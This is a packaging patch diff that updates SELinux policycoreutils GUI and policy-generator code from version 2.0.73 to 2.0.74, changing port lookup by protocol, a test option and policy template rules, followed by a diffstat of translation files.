-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgengui.py policycoreutils-2.0.73/gui/polgengui.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgengui.py policycoreutils-2.0.74/gui/polgengui.py
 --- nsapolicycoreutils/gui/polgengui.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/polgengui.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgengui.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,627 @@
 +#!/usr/bin/python -E
 +#
@@ -6413,10 +6413,10 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +    app = childWindow()
 +    app.stand_alone()
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.py policycoreutils-2.0.73/gui/polgen.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.py policycoreutils-2.0.74/gui/polgen.py
 --- nsapolicycoreutils/gui/polgen.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/polgen.py	2009-09-08 09:21:09.000000000 -0400
-@@ -0,0 +1,1183 @@
++++ policycoreutils-2.0.74/gui/polgen.py	2009-10-01 11:36:54.000000000 -0400
+@@ -0,0 +1,1188 @@
 +#!/usr/bin/python
 +#
 +# Copyright (C) 2007, 2008, 2009 Red Hat 
@@ -6787,10 +6787,10 @@ diff --exclude-from=exclude -N -u -r nsa
 +        def use_network(self):
 +            return self.use_tcp() or self.use_udp()
 +        
-+        def find_port(self, port):
-+            for begin,end in self.ports.keys():
-+                if port >= begin and port <= end:
-+                    return self.ports[begin,end]
++        def find_port(self, port, protocol="tcp"):
++            for begin,end,p in self.ports.keys():
++                if port >= begin and port <= end and protocol == p:
++                    return self.ports[begin,end, protocol]
 +            return  None
 +
 +	def set_program(self, program):
@@ -6925,50 +6925,50 @@ diff --exclude-from=exclude -N -u -r nsa
 +            return line
 +                
 +	def generate_network_types(self):
-+                for i in self.in_tcp[PORTS]:
-+                    rec = self.find_port(int(i))
-+                    if rec == None:
-+                        self.need_tcp_type = True;
-+                    else:
-+                        port_name = rec[0][:-2]
-+                        line = self.generate_network_action("tcp", "bind", port_name)
-+#                        line = "corenet_tcp_bind_%s(%s_t)\n" % (port_name, self.name)
-+                        if line not in self.found_tcp_ports:
-+                            self.found_tcp_ports.append(line)
-+
-+                for i in self.out_tcp[PORTS]:
-+                    rec = self.find_port(int(i))
-+                    if rec == None:
-+                        self.need_tcp_type = True;
-+                    else:
-+                        port_name = rec[0][:-2]
-+                        line = self.generate_network_action("tcp", "connect", port_name)
-+#                        line = "corenet_tcp_connect_%s(%s_t)\n" % (port_name, self.name)
-+                        if line not in self.found_tcp_ports:
-+                            self.found_tcp_ports.append(line)
++            for i in self.in_tcp[PORTS]:
++                rec = self.find_port(int(i), "tcp")
++                if rec == None:
++                    self.need_tcp_type = True;
++                else:
++                    port_name = rec[0][:-2]
++                    line = self.generate_network_action("tcp", "bind", port_name)
++#                   line = "corenet_tcp_bind_%s(%s_t)\n" % (port_name, self.name)
++                    if line not in self.found_tcp_ports:
++                        self.found_tcp_ports.append(line)
++
++            for i in self.out_tcp[PORTS]:
++                rec = self.find_port(int(i), "tcp")
++                if rec == None:
++                    self.need_tcp_type = True;
++                else:
++                    port_name = rec[0][:-2]
++                    line = self.generate_network_action("tcp", "connect", port_name)
++#                   line = "corenet_tcp_connect_%s(%s_t)\n" % (port_name, self.name)
++                    if line not in self.found_tcp_ports:
++                        self.found_tcp_ports.append(line)
 +                        
-+                for i in self.in_udp[PORTS]:
-+                    rec = self.find_port(int(i))
-+                    if rec == None:
-+                        self.need_udp_type = True;
-+                    else:
-+                        port_name = rec[0][:-2]
-+                        line = self.generate_network_action("udp", "bind", port_name)
-+#                        line = "corenet_udp_bind_%s(%s_t)\n" % (port_name, self.name)
-+                        if line not in self.found_udp_ports:
-+                            self.found_udp_ports.append(line)
++            for i in self.in_udp[PORTS]:
++                rec = self.find_port(int(i),"udp")
++                if rec == None:
++                    self.need_udp_type = True;
++                else:
++                    port_name = rec[0][:-2]
++                    line = self.generate_network_action("udp", "bind", port_name)
++#                   line = "corenet_udp_bind_%s(%s_t)\n" % (port_name, self.name)
++                    if line not in self.found_udp_ports:
++                        self.found_udp_ports.append(line)
 +                
-+                if self.need_udp_type == True or self.need_tcp_type == True:
-+                    return re.sub("TEMPLATETYPE", self.name, network.te_port_types)
-+		return ""
++            if self.need_udp_type == True or self.need_tcp_type == True:
++                return re.sub("TEMPLATETYPE", self.name, network.te_port_types)
++            return ""
 +	
 +	def __find_path(self, file):
-+		for d in self.DEFAULT_DIRS:
-+			if file.find(d) == 0:
-+				self.DEFAULT_DIRS[d][1].append(file)
-+				return self.DEFAULT_DIRS[d]
-+		self.DEFAULT_DIRS["rw"][1].append(file)
-+		return self.DEFAULT_DIRS["rw"]
++            for d in self.DEFAULT_DIRS:
++                if file.find(d) == 0:
++                    self.DEFAULT_DIRS[d][1].append(file)
++                    return self.DEFAULT_DIRS[d]
++            self.DEFAULT_DIRS["rw"][1].append(file)
++            return self.DEFAULT_DIRS["rw"]
 +	
 +	def add_capability(self, capability):
 +            self.capabilities.append(capability)
@@ -7360,12 +7360,12 @@ diff --exclude-from=exclude -N -u -r nsa
 +			newsh += re.sub("FILENAME", i, script.restorecon)
 +
 +                for i in self.in_tcp[PORTS] + self.out_tcp[PORTS]:
-+                    if self.find_port(i) == None:
++                    if self.find_port(i,"tcp") == None:
 +                        t1 = re.sub("PORTNUM", "%d" % i, script.tcp_ports)
 +                        newsh += re.sub("TEMPLATETYPE", self.name, t1)
 +
 +                for i in self.in_udp[PORTS] + self.out_udp[PORTS]:
-+                    if self.find_port(i) == None:
++                    if self.find_port(i,"udp") == None:
 +			t1 = re.sub("PORTNUM", "%d" % i, script.udp_ports)
 +			newsh += re.sub("TEMPLATETYPE", self.name, t1)
 +
@@ -7551,7 +7551,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +    setype = DAEMON
 +    gopts, cmds = getopt.getopt(sys.argv[1:], "ht:m", 
 +                                ["type=", 
-+                                 "mount", 
++                                 "mount",
++                                 "test",
 +                                 "help"])
 +    for o, a in gopts:
 +        if o == "-t" or o == "--type":
@@ -7567,7 +7568,11 @@ diff --exclude-from=exclude -N -u -r nsa
 +            mount_ind = True
 +                
 +        if o == "-h" or o == "--help":
-+            usage("");
++            usage("")
++
++        if o == "--test":
++            test()
++            sys.exit(0)
 +            
 +    if len(cmds) == 0:
 +           usage(_("Executable required"))
@@ -7600,9 +7605,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        
 +    print mypolicy.generate()
 +    sys.exit(0)
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/portsPage.py policycoreutils-2.0.73/gui/portsPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/portsPage.py policycoreutils-2.0.74/gui/portsPage.py
 --- nsapolicycoreutils/gui/portsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/portsPage.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/portsPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,259 @@
 +## portsPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -7863,9 +7868,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +        return True
 +        
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/selinux.tbl policycoreutils-2.0.73/gui/selinux.tbl
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/selinux.tbl policycoreutils-2.0.74/gui/selinux.tbl
 --- nsapolicycoreutils/gui/selinux.tbl	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/selinux.tbl	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/selinux.tbl	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,234 @@
 +acct_disable_trans _("SELinux Service Protection") _("Disable SELinux protection for acct daemon")
 +allow_daemons_dump_core _("Admin") _("Allow all daemons to write corefiles to /")
@@ -8101,9 +8106,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +webadm_manage_user_files _("HTTPD Service") _("Allow SELinux webadm user to manage unprivileged users home directories")
 +webadm_read_user_files _("HTTPD Service") _("Allow SELinux webadm user to read unprivileged users home directories")
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/semanagePage.py policycoreutils-2.0.73/gui/semanagePage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/semanagePage.py policycoreutils-2.0.74/gui/semanagePage.py
 --- nsapolicycoreutils/gui/semanagePage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/semanagePage.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/semanagePage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,168 @@
 +## semanagePage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -8273,9 +8278,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        self.load(self.filter)
 +        return True
 +        
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/statusPage.py policycoreutils-2.0.73/gui/statusPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/statusPage.py policycoreutils-2.0.74/gui/statusPage.py
 --- nsapolicycoreutils/gui/statusPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/statusPage.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/statusPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,190 @@
 +# statusPage.py - show selinux status
 +## Copyright (C) 2006-2009 Red Hat, Inc.
@@ -8467,9 +8472,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        return self.types[self.selinuxTypeOptionMenu.get_active()]
 +
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.glade policycoreutils-2.0.73/gui/system-config-selinux.glade
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.glade policycoreutils-2.0.74/gui/system-config-selinux.glade
 --- nsapolicycoreutils/gui/system-config-selinux.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/system-config-selinux.glade	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/system-config-selinux.glade	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,3403 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
@@ -11874,9 +11879,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +</widget>
 +
 +</glade-interface>
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.py policycoreutils-2.0.73/gui/system-config-selinux.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.py policycoreutils-2.0.74/gui/system-config-selinux.py
 --- nsapolicycoreutils/gui/system-config-selinux.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/system-config-selinux.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/system-config-selinux.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,189 @@
 +#!/usr/bin/python
 +#
@@ -12067,9 +12072,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 +    app = childWindow()
 +    app.stand_alone()
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/boolean.py policycoreutils-2.0.73/gui/templates/boolean.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/boolean.py policycoreutils-2.0.74/gui/templates/boolean.py
 --- nsapolicycoreutils/gui/templates/boolean.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/boolean.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/boolean.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,40 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12111,9 +12116,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +')
 +"""
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/etc_rw.py policycoreutils-2.0.73/gui/templates/etc_rw.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/etc_rw.py policycoreutils-2.0.74/gui/templates/etc_rw.py
 --- nsapolicycoreutils/gui/templates/etc_rw.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/etc_rw.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/etc_rw.py	2009-09-30 11:32:23.000000000 -0400
 @@ -0,0 +1,129 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12144,8 +12149,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +files_type(TEMPLATETYPE_etc_rw_t)
 +"""
 +te_rules="""
-+allow TEMPLATETYPE_t TEMPLATETYPE_etc_rw_t:file manage_file_perms;
-+allow TEMPLATETYPE_t TEMPLATETYPE_etc_rw_t:dir manage_dir_perms;
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t TEMPLATETYPE_etc_rw_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_etc_rw_t TEMPLATETYPE_etc_rw_t)
 +files_etc_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_etc_rw_t, { file dir })
 +"""
 +
@@ -12244,9 +12249,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +fc_dir="""\
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_etc_rw_t,s0)
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/executable.py policycoreutils-2.0.73/gui/templates/executable.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/executable.py policycoreutils-2.0.74/gui/templates/executable.py
 --- nsapolicycoreutils/gui/templates/executable.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/executable.py	2009-09-09 14:55:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/executable.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,368 @@
 +# Copyright (C) 2007-2009 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12616,9 +12621,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +EXECUTABLE	--	gen_context(system_u:object_r:TEMPLATETYPE_initrc_exec_t,s0)
 +"""
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/__init__.py policycoreutils-2.0.73/gui/templates/__init__.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/__init__.py policycoreutils-2.0.74/gui/templates/__init__.py
 --- nsapolicycoreutils/gui/templates/__init__.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/__init__.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/__init__.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,18 @@
 +#
 +# Copyright (C) 2007 Red Hat, Inc.
@@ -12638,9 +12643,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 +#
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/network.py policycoreutils-2.0.73/gui/templates/network.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/network.py policycoreutils-2.0.74/gui/templates/network.py
 --- nsapolicycoreutils/gui/templates/network.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/network.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/network.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,80 @@
 +te_port_types="""
 +type TEMPLATETYPE_port_t;
@@ -12722,10 +12727,10 @@ diff --exclude-from=exclude -N -u -r nsa
 +corenet_udp_bind_all_unreserved_ports(TEMPLATETYPE_t)
 +"""
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/rw.py policycoreutils-2.0.73/gui/templates/rw.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/rw.py policycoreutils-2.0.74/gui/templates/rw.py
 --- nsapolicycoreutils/gui/templates/rw.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/rw.py	2009-09-08 09:21:09.000000000 -0400
-@@ -0,0 +1,128 @@
++++ policycoreutils-2.0.74/gui/templates/rw.py	2009-09-30 11:32:29.000000000 -0400
+@@ -0,0 +1,127 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
 +#
@@ -12755,8 +12760,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 +
 +te_rules="""
-+allow TEMPLATETYPE_t TEMPLATETYPE_rw_t:file manage_file_perms;
-+allow TEMPLATETYPE_t TEMPLATETYPE_rw_t:dir create_dir_perms;
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_rw_t TEMPLATETYPE_rw_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_rw_t TEMPLATETYPE_rw_t)
 +"""
 +
 +########################### Interface File #############################
@@ -12816,8 +12821,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +		type TEMPLATETYPE_rw_t;
 +	')
 +
-+	allow $1 TEMPLATETYPE_rw_t:file manage_file_perms;
-+	allow $1 TEMPLATETYPE_rw_t:dir rw_dir_perms;
++         manage_files_pattern($1, TEMPLATETYPE_rw_t TEMPLATETYPE_rw_t)
 +')
 +
 +########################################
@@ -12854,9 +12858,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +fc_dir="""
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_rw_t,s0)
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/script.py policycoreutils-2.0.73/gui/templates/script.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/script.py policycoreutils-2.0.74/gui/templates/script.py
 --- nsapolicycoreutils/gui/templates/script.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/script.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/script.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,99 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12957,9 +12961,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +# Adding roles to SELinux user USER
 +/usr/sbin/semanage user -m -R +TEMPLATETYPE_r USER
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/semodule.py policycoreutils-2.0.73/gui/templates/semodule.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/semodule.py policycoreutils-2.0.74/gui/templates/semodule.py
 --- nsapolicycoreutils/gui/templates/semodule.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/semodule.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/semodule.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,41 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13002,9 +13006,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +semanage ports -a -t TEMPLATETYPE_port_t -p udp PORTNUM
 +"""
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/tmp.py policycoreutils-2.0.73/gui/templates/tmp.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/tmp.py policycoreutils-2.0.74/gui/templates/tmp.py
 --- nsapolicycoreutils/gui/templates/tmp.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/tmp.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/tmp.py	2009-09-30 11:32:04.000000000 -0400
 @@ -0,0 +1,97 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13035,8 +13039,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 +
 +te_rules="""
-+allow TEMPLATETYPE_t TEMPLATETYPE_tmp_t:file manage_file_perms;
-+allow TEMPLATETYPE_t TEMPLATETYPE_tmp_t:dir create_dir_perms;
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t TEMPLATETYPE_tmp_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_tmp_t TEMPLATETYPE_tmp_t)
 +files_tmp_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_tmp_t, { file dir })
 +"""
 +
@@ -13103,9 +13107,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +	TEMPLATETYPE_manage_tmp($1)
 +"""
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/user.py policycoreutils-2.0.73/gui/templates/user.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/user.py policycoreutils-2.0.74/gui/templates/user.py
 --- nsapolicycoreutils/gui/templates/user.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/user.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/user.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,182 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13289,9 +13293,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +te_newrole_rules="""
 +seutil_run_newrole(TEMPLATETYPE_t,TEMPLATETYPE_r,{ TEMPLATETYPE_devpts_t TEMPLATETYPE_tty_device_t })
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_lib.py policycoreutils-2.0.73/gui/templates/var_lib.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_lib.py policycoreutils-2.0.74/gui/templates/var_lib.py
 --- nsapolicycoreutils/gui/templates/var_lib.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/var_lib.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_lib.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,158 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13451,9 +13455,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +fc_dir="""\
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_var_lib_t,s0)
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_log.py policycoreutils-2.0.73/gui/templates/var_log.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_log.py policycoreutils-2.0.74/gui/templates/var_log.py
 --- nsapolicycoreutils/gui/templates/var_log.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/var_log.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_log.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,110 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13565,9 +13569,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +fc_dir="""\
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_log_t,s0)
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_run.py policycoreutils-2.0.73/gui/templates/var_run.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_run.py policycoreutils-2.0.74/gui/templates/var_run.py
 --- nsapolicycoreutils/gui/templates/var_run.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/var_run.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_run.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,118 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13687,9 +13691,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_var_run_t,s0)
 +"""
 +
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_spool.py policycoreutils-2.0.73/gui/templates/var_spool.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_spool.py policycoreutils-2.0.74/gui/templates/var_spool.py
 --- nsapolicycoreutils/gui/templates/var_spool.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/templates/var_spool.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_spool.py	2009-09-30 11:31:43.000000000 -0400
 @@ -0,0 +1,129 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13720,9 +13724,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +files_type(TEMPLATETYPE_spool_t)
 +"""
 +te_rules="""
-+allow TEMPLATETYPE_t TEMPLATETYPE_spool_t:dir manage_dir_perms;
-+allow TEMPLATETYPE_t TEMPLATETYPE_spool_t:file manage_file_perms;
-+allow TEMPLATETYPE_t TEMPLATETYPE_spool_t:sock_file manage_sock_file_perms;
++manage_dirs_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t TEMPLATETYPE_spool_t)
++manage_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t TEMPLATETYPE_spool_t)
++manage_lnk_files_pattern(TEMPLATETYPE_t, TEMPLATETYPE_spool_t TEMPLATETYPE_spool_t)
 +files_spool_filetrans(TEMPLATETYPE_t,TEMPLATETYPE_spool_t, { file dir sock_file })
 +"""
 +
@@ -13820,9 +13824,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +fc_dir="""\
 +FILENAME(/.*)?			gen_context(system_u:object_r:TEMPLATETYPE_spool_t,s0)
 +"""
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/translationsPage.py policycoreutils-2.0.73/gui/translationsPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/translationsPage.py policycoreutils-2.0.74/gui/translationsPage.py
 --- nsapolicycoreutils/gui/translationsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/translationsPage.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/translationsPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,118 @@
 +## translationsPage.py - show selinux translations
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -13942,9 +13946,9 @@ diff --exclude-from=exclude -N -u -r nsa
 +        store, iter = self.view.get_selection().get_selected()
 +        self.store.set_value(iter, 0, level)
 +        self.store.set_value(iter, 1, translation)
-diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/usersPage.py policycoreutils-2.0.73/gui/usersPage.py
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/usersPage.py policycoreutils-2.0.74/gui/usersPage.py
 --- nsapolicycoreutils/gui/usersPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.73/gui/usersPage.py	2009-09-08 09:21:09.000000000 -0400
++++ policycoreutils-2.0.74/gui/usersPage.py	2009-09-20 21:26:37.000000000 -0400
 @@ -0,0 +1,150 @@
 +## usersPage.py - show selinux mappings
 +## Copyright (C) 2006,2007,2008 Red Hat, Inc.

policycoreutils-po.patch:
 Makefile            |   28 
 POTFILES            |   28 
 POTFILES.in         |    1 
 af.po               | 2449 +++++++++++++++++++++++--
 am.po               | 2449 +++++++++++++++++++++++--
 ar.po               | 2449 +++++++++++++++++++++++--
 as.po               | 3499 ++++++++++++++++++++++--------------
 be.po               | 2449 +++++++++++++++++++++++--
 bg.po               | 3605 ++++++++++++++++++++++---------------
 bn.po               | 2449 +++++++++++++++++++++++--
 bn_IN.po            | 4066 ++++++++++++++++++++++++------------------
 bs.po               | 2505 +++++++++++++++++++++++---
 ca.po               | 2906 +++++++++++++++++++++++++-----
 cs.po               | 2841 ++++++++++++++++++++++++-----
 cy.po               | 2449 +++++++++++++++++++++++--
 da.po               | 3128 +++++++++++++++++++++++++++-----
 de.po               | 4597 ++++++++++++++++++++++++++---------------------
 el.po               | 2512 +++++++++++++++++++++++---
 en_GB.po            | 2505 +++++++++++++++++++++++---
 es.po               | 4575 ++++++++++++++++++++++++++---------------------
 et.po               | 2447 +++++++++++++++++++++++--
 eu_ES.po            | 2449 +++++++++++++++++++++++--
 fa.po               | 2449 +++++++++++++++++++++++--
 fi.po               | 3158 ++++++++++++++++++++++++++++----
 fr.po               | 3856 +++++++++++++++++++++++-----------------
 gl.po               | 2447 +++++++++++++++++++++++--
 gu.po               | 4130 ++++++++++++++++++++++++------------------
 he.po               | 2449 +++++++++++++++++++++++--
 hi.po               | 4117 ++++++++++++++++++++++++------------------
